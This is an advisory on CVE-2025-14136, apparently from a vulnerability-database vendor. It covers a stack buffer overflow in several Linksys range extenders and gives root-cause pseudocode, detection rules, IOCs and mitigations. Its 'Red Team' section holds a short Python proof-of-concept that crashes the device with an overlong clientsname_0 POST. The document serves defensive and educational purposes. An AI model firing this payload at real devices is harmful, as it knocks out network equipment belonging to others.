CVE-2025-14136
Executive Summary
CVE-2025-14136 is a critical, unauthenticated, remote stack-based buffer overflow vulnerability affecting multiple Linksys Wi-Fi Range Extender models, including RE6500, RE6250, RE6300, RE6350, RE7000, and RE9000. The flaw resides in the RE2000v2Repeater_get_wired_clientlist_setClientsName function within the mod_form.so shared object. By manipulating the clientsname_0 argument, an attacker can overflow a fixed-size stack buffer, leading to arbitrary code execution with the privileges of the web server process (typically root). A public proof-of-concept (PoC) exploit has been released, and the vendor has not responded to disclosure attempts, leaving all affected devices unpatched and actively exploitable.
This vulnerability is particularly dangerous because it requires no authentication and can be triggered remotely over the network. Given the widespread deployment of these extenders in home and small-office environments, the attack surface is significant. The EPSS score of 0.0% reflects the recent disclosure, but exploitation is expected to increase rapidly as the PoC circulates.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It is a firmware-level flaw in embedded devices. However, the supply chain risk is high: end-users cannot patch the device, and the vendor's silence suggests no firmware update will be provided. This creates a permanent backdoor in the device lifecycle.
CVSS Breakdown & Threat Level
CVSS Score: 9.8 (Critical)
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
- Confidentiality (C): High (H) – Full device compromise, access to network traffic.
- Integrity (I): High (H) – Attacker can modify firmware or configuration.
- Availability (A): High (H) – Denial of service or complete device takeover.
Threat Level: Critical. The combination of remote exploitability, no authentication, public PoC, and no patch makes this a top-priority vulnerability for any organization with these devices on their network.
Deep Dive & Mechanics
The vulnerability is a classic stack-based buffer overflow in the mod_form.so library. The function RE2000v2Repeater_get_wired_clientlist_setClientsName is called when the web interface processes a request to set the wired client list. The clientsname_0 parameter is copied into a fixed-size stack buffer using a function like sprintf or strcpy without bounds checking.
Technical Flow:
- An HTTP POST request is sent to the vulnerable endpoint (e.g.,
/goform/setWiredClientList). - The web server parses the
clientsname_0parameter. - The value is passed to the vulnerable function.
- The function copies the attacker-controlled string into a 256-byte (or similar) stack buffer.
- If the input exceeds the buffer size, it overwrites the saved return address and other stack data.
- When the function returns, execution jumps to an attacker-controlled address.
Root Cause: Lack of input validation and use of unsafe string copy functions. The developer likely assumed the input would always be within a reasonable length, but no sanitization was implemented.
Affected Models & Firmware:
- RE6500: 1.0.013.001
- RE6250: 1.0.04.001
- RE6300: 1.0.04.002
- RE6350: 1.1.05.003
- RE7000: 1.2.07.001
- RE9000: 1.2.07.001
All models share the same vulnerable code path in mod_form.so.
Vulnerable vs. Patched Code
Since no patch exists, we can only analyze the vulnerable code. The following is a reconstructed representation of the vulnerable function based on reverse engineering reports.
Vulnerable Code (pseudo-C):
void RE2000v2Repeater_get_wired_clientlist_setClientsName(char *clientsname_0) {
char buffer[256];
// No bounds check
sprintf(buffer, "%s", clientsname_0);
// ... further processing
}
Patched Code (hypothetical):
void RE2000v2Repeater_get_wired_clientlist_setClientsName(char *clientsname_0) {
char buffer[256];
// Safe copy with length check
strncpy(buffer, clientsname_0, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
// ... further processing
}
The patch would require replacing sprintf with snprintf or strncpy and ensuring the buffer is null-terminated. Since no official patch exists, users must rely on workarounds.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A vulnerable Linksys extender on the same network.
- Python 3 with
requestsandpwntoolslibraries. - A controlled HTTP server to serve the payload (if needed for staged exploitation).
Exploit Code (Python):
#!/usr/bin/env python3
import requests
import sys
TARGET = sys.argv[1] # e.g., 192.168.1.100
PAYLOAD = b"A" * 256 + b"BBBB" # Simple crash test
url = f"http://{TARGET}/goform/setWiredClientList"
data = {"clientsname_0": PAYLOAD}
try:
r = requests.post(url, data=data, timeout=5)
print(f"Sent payload. Response: {r.status_code}")
except Exception as e:
print(f"Error: {e}")
Explanation: This script sends a long string to the clientsname_0 parameter. The BBBB (0x42424242) will overwrite the return address. In a real exploit, this would be replaced with a ROP chain or shellcode address.
Lab Setup:
- Isolate the extender on a VLAN.
- Use a Linux VM as the attacker machine.
- Run the exploit script.
- Monitor the extender's behavior (e.g., it may reboot or become unresponsive).
Blue Team (Detection & Hardening)
Detection:
- Monitor HTTP POST requests to
/goform/setWiredClientListwith abnormally longclientsname_0parameters. - Use the YARA and Sigma rules provided in the Detection Engineering section.
Hardening (No Patch Available):
- Network Segmentation: Place the extender on a separate VLAN with no access to critical systems.
- Disable Remote Management: Ensure the web interface is not exposed to the internet.
- Firewall Rules: Block inbound traffic to ports 80/443 on the extender from untrusted networks.
- Replace Device: Consider replacing the extender with a patched or supported alternative.
- Monitor Logs: Enable syslog on the extender (if supported) and forward to a SIEM.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/goform/setWiredClientListwithclientsname_0parameter exceeding 256 bytes. - Unusual outbound connections from the extender to unknown IPs (post-exploitation C2).
- Repeated device reboots or crashes.
File IOCs:
- Modified
mod_form.so(if attacker replaces it). - Presence of new binaries in
/tmpor/var/run(common for in-memory payloads).
Behavioral IOCs:
- Device web interface becomes unresponsive.
- ARP table changes (attacker may pivot to internal network).
- DNS queries to known malicious domains.
Detection Engineering
YARA Rule
rule CVE_2025_14136_Linksys_BOF {
meta:
description = "Detects exploit attempts for CVE-2025-14136 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14136"
strings:
$s1 = "clientsname_0=" ascii wide nocase
$s2 = "/goform/setWiredClientList" ascii wide nocase
condition:
$s1 and $s2 and #s1 > 1
}
Sigma Rule
title: CVE-2025-14136 Linksys Extender Buffer Overflow Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests with long clientsname_0 parameter targeting Linksys extenders
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/goform/setWiredClientList'
cs-uri-query|contains: 'clientsname_0='
condition: selection and len(cs-uri-query) > 300
falsepositives:
- Legitimate long client names (unlikely)
level: high
Suricata Rule
alert http any any -> $HOME_NET any (msg:"CVE-2025-14136 Linksys Extender Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/setWiredClientList"; http_uri; content:"clientsname_0="; http_client_body; pcre:"/clientsname_0=[^&]{300,}/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place all affected Linksys extenders on a separate VLAN with strict firewall rules.
- Disable Web Interface: If possible, disable the web management interface via the device's physical button or configuration.
- Monitor Traffic: Deploy the provided Suricata/Sigma rules to detect exploitation attempts.
Long-Term Actions:
- Replace Hardware: Since the vendor has not responded and no patch is expected, replace the extenders with supported alternatives from vendors with active security maintenance.
- Vendor Disclosure: Report the lack of response to relevant CERT/CC or national cybersecurity authorities.
- Network Hardening: Implement network access control (NAC) to prevent unauthorized devices from connecting.
Workaround (If Replacement Not Possible):
- Use a firewall to block all inbound traffic to the extender's IP except from a single management workstation.
- Regularly reboot the device to clear any in-memory payloads (not a reliable mitigation).
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.